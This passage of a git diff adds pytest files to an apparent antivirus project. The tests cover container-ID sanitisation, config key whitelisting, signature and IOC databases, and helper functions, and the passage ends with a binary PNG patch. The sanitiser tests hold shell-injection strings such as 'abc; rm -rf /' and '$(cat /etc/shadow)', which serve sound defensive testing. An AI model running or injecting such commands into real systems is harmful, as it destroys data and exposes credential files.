ayn_antivirus.scanners.container_scanner import ContainerScanner + + self.scanner = ContainerScanner() + + def test_semicolon_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc; rm -rf /") + + def test_dollar_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("$(cat /etc/shadow)") + + def test_backtick_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("`whoami`") + + def test_pipe_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc|cat /etc/passwd") + + def test_ampersand_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc && echo pwned") + + def test_empty_rejected(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("") + + def test_too_long_rejected(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("a" * 200) + + def test_valid_ids(self): + assert self.scanner._sanitize_id("abc123") == "abc123" + assert self.scanner._sanitize_id("my-container") == "my-container" + assert self.scanner._sanitize_id("web_app.v2") == "web_app.v2" + assert self.scanner._sanitize_id("a1b2c3d4e5f6") == "a1b2c3d4e5f6" + + +# ----------------------------------------------------------------------- +# Fix 6: Config key validation +# ----------------------------------------------------------------------- + +def test_config_key_whitelist_in_cli(): + """The config --set handler should reject unknown keys. + + We verify by inspecting the CLI module source for the VALID_CONFIG_KEYS + set and its guard clause, since it's defined inside a Click command body. + """ + import inspect + import ayn_antivirus.cli as cli_mod + + src = inspect.getsource(cli_mod) + assert "VALID_CONFIG_KEYS" in src + assert '"scan_paths"' in src + assert '"dashboard_port"' in src + # Verify the guard clause exists + assert "if key not in VALID_CONFIG_KEYS" in src + + +# ----------------------------------------------------------------------- +# Fix 9: API query param validation +# ----------------------------------------------------------------------- + +def test_safe_int_helper(): + from ayn_antivirus.dashboard.api import _safe_int + + assert _safe_int("50", 10) == 50 + assert _safe_int("abc", 10) == 10 + assert _safe_int("", 10) == 10 + assert _safe_int(None, 10) == 10 + assert _safe_int("-5", 10, min_val=1) == 1 + assert _safe_int("9999", 10, max_val=500) == 500 + assert _safe_int("0", 10, min_val=1) == 1 diff --git a/ayn-antivirus/tests/test_signatures.py b/ayn-antivirus/tests/test_signatures.py new file mode 100644 index 0000000..8b65346 --- /dev/null +++ b/ayn-antivirus/tests/test_signatures.py @@ -0,0 +1,53 @@ +import os +import tempfile +import pytest +from ayn_antivirus.signatures.db.hash_db import HashDatabase +from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + +def test_hash_db_create(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + assert db.count() == 0 + db.close() + +def test_hash_db_add_and_lookup(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_hash("abc123hash", "TestMalware", "virus", "high", "test") + result = db.lookup("abc123hash") + assert result is not None + assert result["threat_name"] == "TestMalware" + db.close() + +def test_hash_db_bulk_add(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + records = [ + ("hash1", "Malware1", "virus", "high", "test", ""), + ("hash2", "Malware2", "malware", "medium", "test", ""), + ("hash3", "Miner1", "miner", "high", "test", ""), + ] + count = db.bulk_add(records) + assert count == 3 + assert db.count() == 3 + db.close() + +def test_ioc_db_ips(tmp_path): + db = IOCDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_ip("1.2.3.4", "BotnetC2", "c2", "feodo") + result = db.lookup_ip("1.2.3.4") + assert result is not None + ips = db.get_all_malicious_ips() + assert "1.2.3.4" in ips + db.close() + +def test_ioc_db_domains(tmp_path): + db = IOCDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_domain("evil.com", "Phishing", "phishing", "threatfox") + result = db.lookup_domain("evil.com") + assert result is not None + domains = db.get_all_malicious_domains() + assert "evil.com" in domains + db.close() diff --git a/ayn-antivirus/tests/test_utils.py b/ayn-antivirus/tests/test_utils.py new file mode 100644 index 0000000..e79d376 --- /dev/null +++ b/ayn-antivirus/tests/test_utils.py @@ -0,0 +1,49 @@ +import os +import tempfile +import pytest +from ayn_antivirus.utils.helpers import ( + format_size, format_duration, is_root, validate_ip, + validate_domain, generate_id, hash_file, safe_path +) + +def test_format_size(): + assert format_size(0) == "0.0 B" + assert format_size(1024) == "1.0 KB" + assert format_size(1048576) == "1.0 MB" + assert format_size(1073741824) == "1.0 GB" + +def test_format_duration(): + assert "0s" in format_duration(0) or "0" in format_duration(0) + result = format_duration(3661) + assert "1h" in result + assert "1m" in result + +def test_validate_ip(): + assert validate_ip("192.168.1.1") == True + assert validate_ip("10.0.0.1") == True + assert validate_ip("999.999.999.999") == False + assert validate_ip("not-an-ip") == False + assert validate_ip("") == False + +def test_validate_domain(): + assert validate_domain("example.com") == True + assert validate_domain("sub.example.com") == True + assert validate_domain("") == False + +def test_generate_id(): + id1 = generate_id() + id2 = generate_id() + assert isinstance(id1, str) + assert len(id1) == 32 + assert id1 != id2 + +def test_hash_file(tmp_path): + f = tmp_path / "test.txt" + f.write_text("hello world") + h = hash_file(str(f)) + assert isinstance(h, str) + assert len(h) == 64 # sha256 hex + +def test_safe_path(tmp_path): + result = safe_path(str(tmp_path)) + assert result is not None diff --git a/hub-check.png b/hub-check.png new file mode 100644 index 0000000000000000000000000000000000000000..4b3067dc02d6d5f61d1bdd37d8eb514e7279c59c GIT binary patch literal 99439 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 